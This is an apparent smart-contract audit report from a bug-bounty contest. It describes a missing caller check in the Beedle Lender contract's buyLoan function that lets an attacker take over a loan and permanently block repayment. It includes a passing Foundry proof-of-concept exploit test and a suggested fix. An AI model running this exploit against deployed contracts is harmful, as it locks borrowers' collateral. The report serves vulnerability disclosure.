20,000 USDC
View results
Submission Details
Severity: high
Valid

Malicious actor can cause a DOS on loans

Summary

A malicious actor can cause a DOS on loans, preventing the borrower from being able to pay back their loan, thereby losing their collateral.

Vulnerability Details

If the lender decides to start an auction for a loan id, normally, in a refinance auction, the loan can be bought by anyone with a valid pool. But the issue is with the buyLoan function. There is no check to make sure the person calling the buyLoan function is the owner of the pool. This means a malicious actor can call this function with a valid poolId, and then get their address updated as the lender.

loans[loanId].lender = msg.sender;

https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L518

Since in other to repay the loan, or, refinance the loan, the poolId gets calculated as:

bytes32 poolId = getPoolId(
loan.lender,
loan.loanToken,
loan.collateralToken
);
function getPoolId(
address lender,
address loanToken,
address collateralToken
) public pure returns (bytes32 poolId) {
poolId = keccak256(abi.encode(lender, loanToken, collateralToken));
}

The returning poolId would have 0 outstandingLoans, thereby always reverting on underflow error.

pools[poolId].outstandingLoans -= loan.debt;

Impact

Users can have their collaterals stuck forever

Tools Used

// POC
function test_buyLoanAttacker() public {
address attacker = address(4);
test_borrow();
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
vm.startPrank(attacker);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
lender.buyLoan(0, poolId);
// assert that we paid the interest and new loan is in our name
assertEq(lender.getLoanDebt(0), 110*10**18);
(address newLender,,,,,,,,,) = lender.loans(0);
console.log("The new lender is: ", newLender);
assertEq(newLender, attacker);
vm.stopPrank();
}
jnrlouis@Jnrlouis:~/audits/2023-07-beedle$ forge test --match-test test_buyLoanAttacker -vv
[⠆] Compiling...
No files changed, compilation skipped
Running 1 test for test/Lender.t.sol:LenderTest
[PASS] test_buyLoanAttacker() (gas: 865254)
Logs:
The new lender is: 0x0000000000000000000000000000000000000004
Test result: ok. 1 passed; 0 failed; finished in 6.99ms

Recommendations

Consider adding a check in the buyLoan function to ensure that the msg.sender == pool.lender

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!